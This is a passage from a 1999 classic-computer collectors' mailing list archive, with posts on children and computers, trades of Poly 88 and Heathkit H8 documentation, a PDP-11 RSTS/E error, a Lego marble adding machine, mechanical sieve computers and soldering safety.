school couldn't adopt such methods as a matter of course, and apparently they were "not allowed to". She could get away with it since she was retired and not a permanent employee, or something. I heard a story similar to yours from a friend (Tony - did you ever meet ACAW1?) at university (last heard of doing a PhD in the history of German). He told me that it is a commonly held belief in Germany that there is no point in teaching a child to read until it is 6 years old - the age of starting school in Germany - since children younger than that lack the necessary development (unspecified). Apparently his German friends were always amazed to discover that his parents, wanting him out of mischief at age {nearly 4}, and unable to get him a school place until {nearly 5}, taught him to read. Any comments from our Geman readers? How prevalent is this myth? Two shorter comments to finish. I too have heard that playing music to very small children (age <2) helps them develop intelligence. The music has to be of the sort that takes some thought to listen to, of course. Mozart, Beethoven etc. are good choices, as are some of the better-thought-out pop styles, but minimal music or thud-thud-thud pop music are probably not. (Sorry, as a mainly classical listener, I don't know the correct terms for the pop music styles) And finally a saying attributed to the Jesuit order: Give us a child till he's 6 years old and we have him for life. Philip. From yowza at ooga.com Thu Jan 14 15:03:30 1999 From: yowza at ooga.com (Doug Yowza) Date: Sun Feb 27 18:40:07 2005 Subject: FT: Poly 88 Docs In-Reply-To: <199901140327.AA20752@world.std.com> Message-ID: I have available the following original Poly 88 docs for trade: Volume I: Assembly, Test, and Theory of Hardware (1976, 52pp) Addendum to Volume I: Serial Option (1976, 14pp) Cassette Interface Minicard (1977, 44pp) Memory Addressing, Vectored Interrupt, and Serial I/O (32pp) Volume II: Operation and Software (1976, 100+pp) I need Heathkit H8 docs, but I'd also consider other pre-1977 micro docs in trade. I'm also looking for H8 software on papertape (copies are fine). -- Doug From rhblake at bigfoot.com Thu Jan 14 15:16:36 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:07 2005 Subject: Osborne 01 for only $5000.00 References: <199901131155.LAA12134@nixpbe.pdb.sni.de> <369CF400.486652FE@bigfoot.com> <369D5FE2.748AB43B@mindspring.com> Message-ID: <369E5EB3.BA135D8A@bigfoot.com> The seller never answered with either a figure or to tell me to get bent so the actual reserve is still a mystery until someone hits it and clears the "reserve not met". It's over $400 reserve. Phil Clayton wrote: > Russ Blakeman wrote: > > > Also note that all bidders on this item are rookies, no feedback > > built up or very little. Most that I checked have been on ebay since > > just before Christmas. That's part of the reasoning that they are > > bidding on an item that's well over $400 and still hasn't met it's > > "reserve" price. If the item doesn't get to his ridiculous reserve, he > > doesn't have to honor the sale when it closes and can relist it again. > > > > > > When We Laugh at the reserve price of $400, keep in mind that a famous > baseball sold at an auction this week to a high bidder of almost 7 > million dollars.. Hard to believe! > To me a baseball is worth about 3 bucks.. A used one even less... > Beauty is truly in the eyes of the beholder.. > Phil... From tomowad at earthlink.net Thu Jan 14 15:46:24 1999 From: tomowad at earthlink.net (Tom Owad) Date: Sun Feb 27 18:40:07 2005 Subject: micro PDP-11 "Fatal RSTS/E system initialization error!" Message-ID: <199901142145.NAA15942@swan.prod.itd.earthlink.net> > Ouch! That's nasty. The reason RSTS can't recover is because it's block 1. > > You'll need to reinstall RSTS if you want to use it. Drop me a private >E-mail. I may be able to help. Hi Bruce, Thanks for the info. I'd would like to get the unit running. Will reinstalling RSTS definately do it, or could the hard drive need replaced, as well? I'm assuming I'll need the RSTS disks on 5.25" to reinstall RSTS. Is that something I can get for a reasonable price? Thanks, Tom -- Sysop of Caesarville Online Client software at: From red at bears.org Thu Jan 14 15:50:50 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:40:07 2005 Subject: PDP 11/23 advice In-Reply-To: <199901141316.IAA35542@pechter.ddns.org> Message-ID: On Thu, 14 Jan 1999, Bill Pechter wrote: > memory I'd grab some SLC's... They're basically Sparc2's with mono frame > buffer in a monitor. Just add external SCSI and run. They'd make neat > Xterminals. Except the CRTs in them are uniformly poor and fade horribly---if they don't go fuzzy first. We've got about six thousand (or so it seems) piled up in the corners here. They're awful machines. It could be amusing to make a high-speed switched backplane to plug the CPU cards into to make a SPARC/Linux Beowolf cluster, but beyond that.. eugh. -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From fmc at reanimators.org Thu Jan 14 15:28:35 1999 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:40:07 2005 Subject: classic computer stuff in Scientific American In-Reply-To: "Lawrence Walker"'s message of Wed, 13 Jan 1999 19:18:38 +0000 References: <4.1.19990108123634.00adaeb0@206.231.8.2> <199901140230.VAA25377@smtp.interlog.com> Message-ID: <199901142128.NAA10585@daemonweed.reanimators.org> "Lawrence Walker" wrote: > I have that edition in my collection. I have 2 other S.A.s > that have micro themes. The Nov. 65 issue, one of the articles is > by Hao Wang , and the Sept 66 which is all computer related > articles And I think Scientific American re-published the September 1966 issue as a book, "Information". -Frank McConnell From sinasohn at ricochet.net Thu Jan 14 15:59:25 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:07 2005 Subject: Computers for children Message-ID: <3.0.16.19990114113329.4ef7e406@ricochet.net> At 12:00 AM 1/14/99 +0000, you wrote: >> But to say that a kid should not be introduced to computers until they can >> read enough to use unix or can handle a soldering iron is to do a major >> disservice to the kid. > >Why? > >I'm disputing the word 'major', BTW. It's possible that some 18-month old >kids will enjoy looking at coloured patches on a computer screen. But I >don't think that _not_ showing them that will cause any form of permanent >damage. I made an assumption (at least I think I wrote that) that a reasonable computer was available. To say, I've got this computer which could help the kid learn to learn better, develop logical skills, and even learn to read and understand math, but I'm not going to let the kid use it because it's a windoze machine and I want the kid to be a Unix guru" is a major disservice. Same as saying "I've got a TV and Sesame Street and National Geographic comes on sometimes, but I'm not gonna let the kid watch those because someday they might want to watch teenage morphin' ninja turle soup with Howard Stern." Another grave disservice. And another analogy: You could say "Sure, I've got a major library next door, but I'm not gonna let the kid go there because it might read the gatekeeper's monologue from Macbeth where he talks about hookers and drunkenness." I'm not saying that every parent has to go out and buy their kid a computer, or that the kid will turn stupid without it, but if you've got the resources, use 'em. Remember, that being a parent means subjugating your own desires for the benefit of the kid. You have to give up a lot for that kid, and that may include a no-Winblows rule, or worse. Hell, you might even have to miss a football game now and then. --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Thu Jan 14 15:59:32 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:07 2005 Subject: Computers for children Message-ID: <3.0.16.19990114114223.4ef728ec@ricochet.net> At 09:33 PM 1/13/99 -0500, you wrote: >> Obcc: Yes, you can build computers and calculators from Lego. Any reason >> why you couldn't replicate a Digi-Comp with Lego? > >A Digi-Comp built with Lego blocks would be huge and fragile, plus >those vertical metal rods would have to be fabricated. When I had my The Mindstorms kit includes some long-ish axle pieces which might work. There are probably other ways of doing it as well. You're just not being creative enough. (Check out the web sites I posted previously -- one includes a lego computer that looks kinda like a digi-comp (in a uninitiated, unobservant kinda way.) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Thu Jan 14 15:59:37 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:07 2005 Subject: Computers for children Message-ID: <3.0.16.19990114132351.4ef7e97a@ricochet.net> At 10:24 PM 1/12/99 -0500, you wrote: >What I meant was, in the early BASICs, you would have to type out the FOR >loop with a variable, an increment, a conditional statement, and a goto. Every BASIC I've ever used had a for-next construct as follows: FOR variable = start TO end [BY inc] commands NEXT [variable] No GOTO was ever needed. However, it is just a simplified version of a combination IF and GOTO. >easier to understand that the NEXT X must be going back to that FOR X= 1 >TO 10 I saw a while ago, as opposed to scrolling incessantly trying to >find where each GOTO leads. For-Next is pretty basic (pun intended). Do While/Do Until is not found in earlier BASIC's; perhaps that's what you were thinking of? Nonetheless, Using IF and GOTO to simulate a For-Next loop does not mean lots of searching for GOTO destinations -- if you are a good programmer, it doesn't. >I don't know exactly at what point the FOR...NEXT gets translated into its >components, but the point is, since it doesn't have to be typed out, it's >somewhat lower-level. For-Next is interpreted when executed. It is at that point that the relevant machine language instructions are generated and executed. Machine language is low-level, C is slightly higher, BASIC is definitely high-level, things like Powerhouse and other 4GL's are even higher levels of extraction. From sinasohn at ricochet.net Thu Jan 14 15:59:43 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:07 2005 Subject: Osborne 01 for only $5000.00 Message-ID: <3.0.16.19990114132700.4ef7f3a8@ricochet.net> At 10:27 PM 1/13/99 -0500, you wrote: >went for 2.7 Million, with an addition 305k being paid in commission >by the purchaser... A far cry from 7 Mil... For values of x, where x = my bank balance, 3mil * x = 7mil * x. It's all the same to me. 8^) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From museum at techniche.com Thu Jan 14 16:47:46 1999 From: museum at techniche.com (Jon Healey) Date: Sun Feb 27 18:40:07 2005 Subject: FT: Poly 88 Docs Message-ID: <199901142247.RAA21361@chmls05.mediaone.net> Hi Doug, I have an H-8 (with another on the way) with absolutely complete docs (including the sales slip). I don't think I have much in the way of paper tape though. Contact me. Jon ---------------------------------------------------------------------- >I have available the following original Poly 88 docs for trade: > Volume I: Assembly, Test, and Theory of Hardware (1976, 52pp) > Addendum to Volume I: Serial Option (1976, 14pp) > Cassette Interface Minicard (1977, 44pp) > Memory Addressing, Vectored Interrupt, and Serial I/O (32pp) > Volume II: Operation and Software (1976, 100+pp) > >I need Heathkit H8 docs, but I'd also consider other pre-1977 micro docs >in trade. I'm also looking for H8 software on papertape (copies are >fine). > >-- Doug > > > From brett at xnet.com Thu Jan 14 17:20:59 1999 From: brett at xnet.com (Brett Crapser) Date: Sun Feb 27 18:40:07 2005 Subject: FT: Poly 88 Docs In-Reply-To: Message-ID: On Thu, 14 Jan 1999, Doug Yowza wrote: > I need Heathkit H8 docs, but I'd also consider other pre-1977 micro > docs in trade. I'm also looking for H8 software on papertape (copies > are fine). I don't have any docs 8-( But I have disk drives. Hard sectored with CP/M (H89) and HDOS(H8). If I can ever get it to 'completely' read a disk. 8-( It will give directories - but can run anything... Ideas? Especially on how to re-align the drives... BC From lemay at cs.umn.edu Thu Jan 14 17:52:10 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:07 2005 Subject: hello Message-ID: <199901142352.RAA06443@thufir.cs.umn.edu> Hi. I've just joined your mailing list. Currently I'm working on getting a Cromemco Z2 system with dual 8" DSDD drives setup. I have cp/m 2.2 and CDOS. Unfortunately, I have no docs, except a cp/m 2.2 manual I downloaded from the web. If anyone has a similar system, and can make a cp/m 3.0 8" floppy, i'd appreciate it. My plans are to attempt to rewire a Teac 5.25" floppy drive to make it appear to be a DSDD 8" floppy drive. I have several Terak computers in need of serious work. These were computers that would break down frequently back when they were in service back in tehe 80's, so they break down after being 'repaired' (the contacts seem to go flakey, both on teh boards and mainly on the socketed ram chips). If anyone has any technical information on the Terak floppy controller, or on the shugart 800 floppy drives in the Terak, i'd like to have a copy. preferrably I would want to setup my 5.25 floppy drive so it can be used on either computer system, but the Terak uses a 40 pin ribbon cable, skipping pins 1-10 on the shugart drive. I'm curious as to which connectors on teh interface cable are actually necessary for the Terak floppy controller to operate properly. -Lawrence LeMay lemay@cs.umn.edu From rigdonj at intellistar.net Thu Jan 14 20:24:27 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:07 2005 Subject: IBM thingy! Message-ID: <3.0.1.16.19990114202427.2acf2e5a@intellistar.net> > >I went computer scrounging today and found a brief case style tool box with some kind on IBM tester in it. I have so idea what it is but it has an 8" floppy disk drive in it! I got the floppy disk too. It has a NICE handset with a 4 line LED display and a full keyboard attached by a cable. There's also a lot of strange looking connectors and adapters with it. The main box has an "IPL" button and three connectors labeled "PIO", "S LOOP" and "R LOOP". The quick reference chart only calls it a "MD". There's a tag on it that says "TYPE 910x 002". Anyone know what it is and what it's for? > > Joe I powered up the THING today. It says it's a Stand Alone Terminal Exorciser, PN 08309930, date 01/84. It passes the self test and brings up a menu that lets you select 327X Tutorial, 327X BSC, SDLC/SNA or R-LOOP. Selecting the R-LOOP option brings up another menu for 8775 Device or 3276 Device. That's as far as I can get in the menu, after that it asks for a CU address or will autoscan for it but of course there's nothing connected so it doesn't find what ever it's looking for. Does anyone know any more about it? Joe From dogas at leading.net Thu Jan 14 15:51:17 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:07 2005 Subject: Poly 88 Docs Message-ID: <01be4008$03d417e0$LocalHost@devlaptop> Doug, I got all the H8 stuff you'll ever need... will copies suffice. I'll check and see what dups I have.... What are you looking for? I'd like at least a copy of the Poly 88 stuff. No papertape stuff (you lucky bastage) Thanks - Mike: dogas@leading.net From: Doug Yowza >I have available the following original Poly 88 docs for trade: > Volume I: Assembly, Test, and Theory of Hardware (1976, 52pp) > Addendum to Volume I: Serial Option (1976, 14pp) > Cassette Interface Minicard (1977, 44pp) > Memory Addressing, Vectored Interrupt, and Serial I/O (32pp) > Volume II: Operation and Software (1976, 100+pp) > >I need Heathkit H8 docs, but I'd also consider other pre-1977 micro docs >in trade. I'm also looking for H8 software on papertape (copies are >fine). > >-- Doug > > > From marvin at rain.org Thu Jan 14 19:30:55 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:07 2005 Subject: Ebay: Altos 1000-12A CPM Computer References: <01be4008$03d417e0$LocalHost@devlaptop> Message-ID: <369E9A4F.AC49E884@rain.org> Another CP/M computer on ebay. Current price is $50.00 with another day to do in the auction. URL is http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=55129999 From ard at p850ug1.demon.co.uk Thu Jan 14 16:53:07 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:07 2005 Subject: Computers for children (soldering) In-Reply-To: <199901140441.WAA07477@wildride.netads.com> from "Miles O'Neal" at Jan 13, 99 10:41:46 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1488 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990114/eec4b4bd/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 14 17:00:18 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:07 2005 Subject: PDP 11/23 advice In-Reply-To: <003b01be3f96$acb770e0$1901a8c0@titanic.bde.com.au> from "Andrew Davie" at Jan 14, 99 07:19:56 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1356 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990114/ee5e5464/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 14 16:34:39 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:07 2005 Subject: Computers for children In-Reply-To: from "Max Eskin" at Jan 12, 99 10:24:48 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 586 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990114/94a14aaa/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 14 16:37:38 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:07 2005 Subject: Computers for children (soldering) In-Reply-To: <199901140147.SAA26854@calico.litterbox.com> from "Jim Strickland" at Jan 13, 99 06:47:34 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 930 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990114/b918d517/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 14 16:44:17 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:07 2005 Subject: Computers for children In-Reply-To: <00b801be3f60$e146b3b0$11d53d9d@JOEBAR> from "Joseph S. Barrera III" at Jan 13, 99 05:54:26 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1268 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990114/80e74315/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 14 17:50:35 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:07 2005 Subject: micropolis 1355 In-Reply-To: <19990114170706.AAA23928@p2350> from "emanuel stiebler" at Jan 14, 99 10:06:21 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 869 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990114/3687f377/attachment.ksh From ard at p850ug1.demon.co.uk Thu Jan 14 20:17:02 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:07 2005 Subject: hello In-Reply-To: <199901142352.RAA06443@thufir.cs.umn.edu> from "Lawrence LeMay" at Jan 14, 99 05:52:10 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 5852 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/a21b6424/attachment.ksh From dburrows at netpath.net Thu Jan 14 20:28:31 1999 From: dburrows at netpath.net (Daniel T. Burrows) Date: Sun Feb 27 18:40:07 2005 Subject: Computers for children (soldering) Message-ID: <00c601be402f$829388a0$bf281bce@tower166> >Worst burn I ever got from a soldering iron was when somebody tripped >over the mains lead. The iron was dragged through my hand and I was left >gripping the metal shaft. OUCH!. I have also had a fair # of burns in similiar manners but the one thing I would suggest for children is to wear glasses. When I was 9 or10 I was desoldering something when some solder splattered into the tissue in the corner of my eye. 1/4 inch over and it could have been serious. I almost always now make sure I am wearing glasses. Dan From sinasohn at ricochet.net Thu Jan 14 20:45:13 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:07 2005 Subject: Rick Fish and the Lego Adding Machine Message-ID: <3.0.16.19990114161905.0b970f18@ricochet.net> A web search turned up a reference on the Cheapass Games web site (apparently really good games, if you like that sort of thing) to a lego adding machine. I thought it might be the same as the one I had found previously (that has since disappeared) but even though it isn't, it is very interesting. Enjoy! >No, I don't think Rick's adding machine was ever up on a web site. > >I was co-designer of the model, and I can give you a description of how >it works. > >The "Fish/Ernest" ;) adding machine was essentially a stack of binary >half-adders, powered by marbles. We got as far as designing the guts of >the thing, but never made the outsides (marble tracks are sort of >academic) so much of the device was hypothetical. But the guts worked. > >The half-adder itself starts with a hole through which a marble is >dropped. This marble will toggle the half-adder with one of two possible >results: > >1: If the half-adder is "on" (a flag attached to the gear mechanism is >up, representing a digit of 1) then the digit will turn off and the >marble will proceed to the next lower half-adder as a carryover bit. > >2: If the half-adder is "off" (the flag is down, representing a digit of >0) then the flag will be raised, and the marble will go into a waste >chute. > >A stack of these half-adders can be read from bottom to top, with the top >flag representing the 1's place, the second the 2's place, the third the >4's place, and so on. Each layer is about 7 bricks high, or roughly 3 1/2 >inches. > >The whole thing is gravity-powered, and you "charge" it by dumping a >handful of marbles into a holding pen at the top. You can input marbles >one at a time at the top, but we also designed a set of fingers that >would push marbles from lower holding racks into the appropriate digits >in the machine; for example, to add nine, one could push in the "1" and >"8" fingers simultaneously, and everything will fall out successfully. >This was probably the neatest thing about the machine. > >The waste chutes were designed to conserve energy by funneling waste >marbles into the holding racks for the next level. > >Of course, the machine had only the binary output, and could only add. >But it was still pretty neat. > >Anyway, that was longer than I thought. Hope it's as interesting for you >as it was for us. > >Best wishes, > > >-James Ernest >-Cheapass Games > >>Hi! I was wondering if you could do me a favor and as Rick Fish if he is >>the guy who used to have a web page about his Lego Adding Machine at >>http://legowww.homepages.com/projects/adding/project2.html? >> >>I am a collector of older computers, and there has been some discussion of >>late on a classic computer mailing list about early mechanical computers >>(such as the Digi-Comp 1). As part of this discussion, someone brought up >>a Tinkertoy Tic-Tac-Toe machine, and I recalled seeing a lego adding machine. >> >>Unfortunately, the link I had is no longer valid, but a web search found >>the cheapass games staff picnic page where Rick Fish is listed as having >>created a Lego adding machine. Even if he is not the person who had the >>above-mentioned page, I (and others) would love to hear about his calculator. >> >>In any case, thanks in advance! >> >> >>--------------------------------------------------------------------- O- >> >>Uncle Roger "There is pleasure pure in being mad >>roger@sinasohn.com that none but madmen know." >>Roger Louis Sinasohn & Associates >>San Francisco, California http://www.sinasohn.com/ >> > > --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From nerdware at laidbak.com Thu Jan 14 21:24:01 1999 From: nerdware at laidbak.com (Paul Braun) Date: Sun Feb 27 18:40:07 2005 Subject: Computers for children (soldering) In-Reply-To: References: <199901140147.SAA26854@calico.litterbox.com> from "Jim Strickland" at Jan 13, 99 06:47:34 pm Message-ID: <199901150321.VAA14413@garcon.laidbak.com> Date sent: Thu, 14 Jan 1999 22:37:38 +0000 (GMT) Send reply to: classiccmp@u.washington.edu From: ard@p850ug1.demon.co.uk (Tony Duell) To: "Discussion re-collecting of classic computers" Subject: Re: Computers for children (soldering) > > > > > Not _all_ 8 year olds will be able to solder, or will want to solder, but > > > some will. And there's no reason not to let them have a go if they want > > > to. It never did me any harm... > > > > Heh. Depends on how you define "harm". I have a permanent scar up my left > > I've had dozens of scars as a result of using tools. Doesn't really worry > me a bit. Sure it's painful at the time, but I'm still here, right, and > although I don't like the pain, the final result is worth it. > I've burned myself several times with a soldering iron -- teaches you the basic rules that A) A hot soldering iron looks exactly like a cold one; and B) Ditto for solder. Also have a couple of scars on my left thumb and a numb section where I learned that you shouldn't pull the exacto knife towards you when you are trying to slit the jacket of multi-conductor cable. These little childhood adventures are good for you. Taught me more than aimlessly wandering about town every weekend. > Yep, I'm glad I got the chance to injure myself (seriously). It also gave > me the chance to enjoy life and learn something. > > -tony Paul Braun NerdWare -- The History of the PC and the Nerds who brought it to you. nerdware@laidbak.com www.laidbak.com/nerdware From yowza at yowza.com Thu Jan 14 21:38:36 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:07 2005 Subject: Computers for children (soldering) In-Reply-To: <199901150321.VAA14413@garcon.laidbak.com> Message-ID: On Thu, 14 Jan 1999, Paul Braun wrote: > These little childhood adventures are good for you. Taught me more than > aimlessly wandering about town every weekend. Yeah, I'm amazed I survived some of the experiments I performed as a kid. With the supercomputers and high-end graphics workstations we all have on our desks now, you'd think that some *really* life-like simulations could be written that would allow kids to make all of the same mistakes we did, but sans scar tissue. We still need a good smellovision device to give them a good sense of singed eyebrows, though. -- Doug From brett at xnet.com Thu Jan 14 21:49:45 1999 From: brett at xnet.com (Brett Crapser) Date: Sun Feb 27 18:40:07 2005 Subject: Wowzers - Looking for parts? Message-ID: ------------------ Cut from Web Page ------------------------------- MOTHERBOARDS for COMMODORE VIC-20, the ever-poplar 5K memory color computer which still has a dedicated following. All components intact. "Some worked, some didn?t" when we powered-up a sampling and so we are selling them "AS-IS." Good source of spare parts or, if your a gambler, the basis for cheap computer; 3 lbs. sh. Two versions to choose: #VIC-01981, eleven 2114 RAM; 9 VAC req. $7.50 #VIC-01983 with two M58725 2Kx8 RAM or equal; requires 9 VAC and 5 VDC, $6.50 COMMODORE C-16 KEYBAORD, originally p/o the C-16 computer---a short-lived transition computer between the VIC and C64. By switching a few wires, it will work with VIC on most keys. Change info included. 5x15x1.5; 3 lbs. sh. #KB-C16 $3.00 (If purchased w/ VIC board $1.50) ------------------------------------------------------------------------- Oh - you want to know WHICH Web Page 8-) Beleive it or not - Fair Radio - out of Lima Ohio http://www2.wcoil.com/~fairadio/module.html BC From brett at xnet.com Thu Jan 14 21:52:51 1999 From: brett at xnet.com (Brett Crapser) Date: Sun Feb 27 18:40:07 2005 Subject: Computers for children (soldering) In-Reply-To: Message-ID: On Thu, 14 Jan 1999, Doug Yowza wrote: > > These little childhood adventures are good for you. Taught me more than > > aimlessly wandering about town every weekend. > > Yeah, I'm amazed I survived some of the experiments I performed as a kid. > With the supercomputers and high-end graphics workstations we all have on > our desks now, you'd think that some *really* life-like simulations could > be written that would allow kids to make all of the same mistakes we did, > but sans scar tissue. We still need a good smellovision device to give > them a good sense of singed eyebrows, though. Well - I am a FIRM believer - no matter what you do or say or show or any other function you can think of - There is only ONE way that you learn what HOT means. Everyone learns that the via the same method - you touch it. The only thing that changes - is the IT you learn from. BC From jim at calico.litterbox.com Thu Jan 14 21:59:41 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:07 2005 Subject: Computers for children (soldering) In-Reply-To: <00c601be402f$829388a0$bf281bce@tower166> from "Daniel T. Burrows" at Jan 14, 1999 09:28:31 PM Message-ID: <199901150359.UAA32112@calico.litterbox.com> > > > >Worst burn I ever got from a soldering iron was when somebody tripped > >over the mains lead. The iron was dragged through my hand and I was left > >gripping the metal shaft. OUCH!. > > I have also had a fair # of burns in similiar manners but the one thing I > would suggest for children is to wear glasses. When I was 9 or10 I was > desoldering something when some solder splattered into the tissue in the > corner of my eye. 1/4 inch over and it could have been serious. I almost > always now make sure I am wearing glasses. > > Dan > > Definately safety goggles or glasses. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From yowza at yowza.com Thu Jan 14 22:10:58 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:07 2005 Subject: Computers for children (soldering) In-Reply-To: Message-ID: On Thu, 14 Jan 1999, Brett Crapser wrote: > Well - I am a FIRM believer - no matter what you do or say or show or any > other function you can think of - There is only ONE way that you learn > what HOT means. Everyone learns that the via the same method - you touch > it. The only thing that changes - is the IT you learn from. Far be it from me to argue with a FIRM believer, but here's the pathway of HOT: it =heat=> heat receptors =chemo-electrical impulse=> brain I guarantee that some time in the future, an alternative pathway will be: computer =electrical impulse=> brain and you won't be able to tell the difference. ObCC: I seem to recall somebody producing a biofeedback device for the Apple ][ in the early 80's that would let you control some computerstuff via a galvanic sensor. -- Doug From len at shustek.com Thu Jan 14 22:30:25 1999 From: len at shustek.com (Len Shustek) Date: Sun Feb 27 18:40:07 2005 Subject: Mechanical computers In-Reply-To: <3.0.16.19990113171649.49d70f1e@ricochet.net> Message-ID: <19990115043452.AAA15857@helios.xo-1.helios.xo.com> At 05:17 PM 1/13/99 -0800, Uncle Roger wrote: >At 12:57 AM 1/13/99 -0600, you wrote: >>>Gag? Mechanical computers are serious stuff, Hans. Like Danny Hillis' >>>tinker-toy tic-tic-toe machine: > Which is, incidentally, still on display at The Computer Museum in Boston. It hasn't been run for a while, though, so it probably would need considerable tuning to work. If the subject is mechanical computers in general, one of the most prolific inventors thereof was Prof. Derrick Lehmer (1905-1991) who was on the faculty at UC Berkeley for about 50 years. His hobby was devising different kinds of mechanical sieve computers to solve linear congruence problems like finding primes. At The Computer Museum History Center at Moffet Field in Mountain View CA (the historical spin-off of the Boston museum) we have at least four of his sieve computers, made of principal components as follows: 1. Cardboard sheets with holes, operated by knitting needles 2. Bicycle chains of various lengths with screw stops 3. Heavy toothed gears, toothpicks, and a car headlight 4. 35mm film and wooden mallets The guy was a regular Rube Goldberg, but they all worked! -- Len Shustek From jim at calico.litterbox.com Thu Jan 14 22:49:47 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:07 2005 Subject: Computers for children (soldering) In-Reply-To: from "Doug Yowza" at Jan 14, 1999 10:10:58 PM Message-ID: <199901150449.VAA32432@calico.litterbox.com> > ObCC: I seem to recall somebody producing a biofeedback device for the > Apple ][ in the early 80's that would let you control some computerstuff > via a galvanic sensor. Ooo... now THERE would be a cool thing to get my hands on... anyone know anything about these or have one gathering dust? -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From zmerch at 30below.com Thu Jan 14 23:08:08 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:08 2005 Subject: 4GL's available??? In-Reply-To: <3.0.16.19990114132351.4ef7e97a@ricochet.net> Message-ID: <3.0.1.32.19990115000808.0093e480@mail.30below.com> On or about 03:59 PM 1/14/99 -0600, Uncle Roger was caught in a dark alley speaking these words: >For-Next is interpreted when executed. It is at that point that the >relevant machine language instructions are generated and executed. Machine >language is low-level, C is slightly higher, BASIC is definitely >high-level And Perl is some of most of these - at times faster than C, yet sometimes simpler than Basic, almost as powerful as APL, and runs on more machines than Java! (of course, APL runs on more machines than Java...) >things like Powerhouse and other 4GL's are even higher levels >of extraction. Speaking of 4GL's, there was a 4GL available for the CoCo under OS-9 called Sculptor from FHL (Frank Hogg Laboratories), IIRC. Anyone here have a copy of it for sale? I've always wanted to play with it. See ya, Roger "Merch" Merchberger ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== for (1..15) { print "Merry Christmas\n"; } (from perl.1 man page, version 4.) From jimw at agora.rdrop.com Thu Jan 14 23:08:05 1999 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:40:08 2005 Subject: Manual wanted: NorthStar FPB-A Board Message-ID: <3.0.3.32.19990114210805.007463d4@agora.rdrop.com> Was just going thru a stack of boards from a recent acqusition, and discovered a NorthStar FPB-A S-100 Floating Point board. Looks like a good addition for my Horizon system, and it even came with the paper tape of NorthStar BASIC with FPB support. What it did not show up with was a manual, and it is only partially assembled. Anyone have a spare they could part with, or can carve a copy? I'd like to try and get this thing running. Also, if anyone has a copy of the disk based BASIC with FPB support, I'd like to nab a copy of that as well. Thanks; -jim --- 